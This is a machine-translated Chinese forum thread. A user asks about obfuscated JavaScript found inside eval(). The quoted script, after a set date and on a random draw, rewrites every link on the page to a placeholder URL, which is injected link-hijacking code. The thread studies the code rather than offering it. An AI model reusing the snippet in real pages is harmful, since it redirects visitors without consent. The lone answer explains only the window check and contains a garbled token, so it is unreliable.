窗口"o"条件,这是什么意思



我看到了这样的代码

if (!('o' in window)) { 
    o = "somelink";
    l =["n", "somelink"];
    p =[0.8,1]; d = new Date("2018/01/01");
    if (Date.now() >= d) { 
        r = Math.random();
        var x = document.getElementsByTagName('a');
        f=0;
        for(j in x) 
        if(x[j].href && x[j].href.indexOf(o) != -1 )
        f=1; 
        if(!f) 
        for(i in l) 
        if (p[i] >= r) { 
            if (l[i] != 'n') 
            for (j in x) x[j].href = l[i]; 
            break; 
         } 
     } 
 }

它在eval()功能内部,我需要了解它是什么。有人可以向我解释这个代码吗?谢谢

它必须b在窗口中设置的一些变量,用户正在检查Windows Object中的'o'是否不在

console.log('o' in window)
window.o = 'MyData';
console.log('o' in window)

!('o' in window)有点像另一种说法typeof window.o === 'undefined'。基本上,只有在o对象中不存在CC_4时,代码块才会运行。

最新更新